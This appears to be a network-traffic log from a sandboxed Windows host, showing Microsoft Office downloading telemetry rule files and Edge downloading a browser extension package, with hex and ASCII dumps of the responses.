version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-185f5d8b95c68cvnhC1NYCfn7s00000009g00000000015aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-1777c6cb7544n7p6hC1TEByvb400000008u000000000n53h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-1777c6cb754mrj2shC1TEB6k7w00000008ug00000000m0e9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-185f5d8b95csd4bwhC1NYCq7dc000000099000000000h0u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-185f5d8b95ctl8xlhC1NYCn94g00000009hg000000005ayc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49789	142.251.40.161	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:22 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5vOl6TVb-4NmMSuvK3gJmVIIUsG2_OPFoOqd_bvcwOuU4oX_8AU4Jf8rL4l33jqUaZJdA X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 19 Nov 2024 16:45:00 GMT Expires: Wed, 19 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Age: 23662 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 23:19:22 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-19 23:19:22 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49785	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
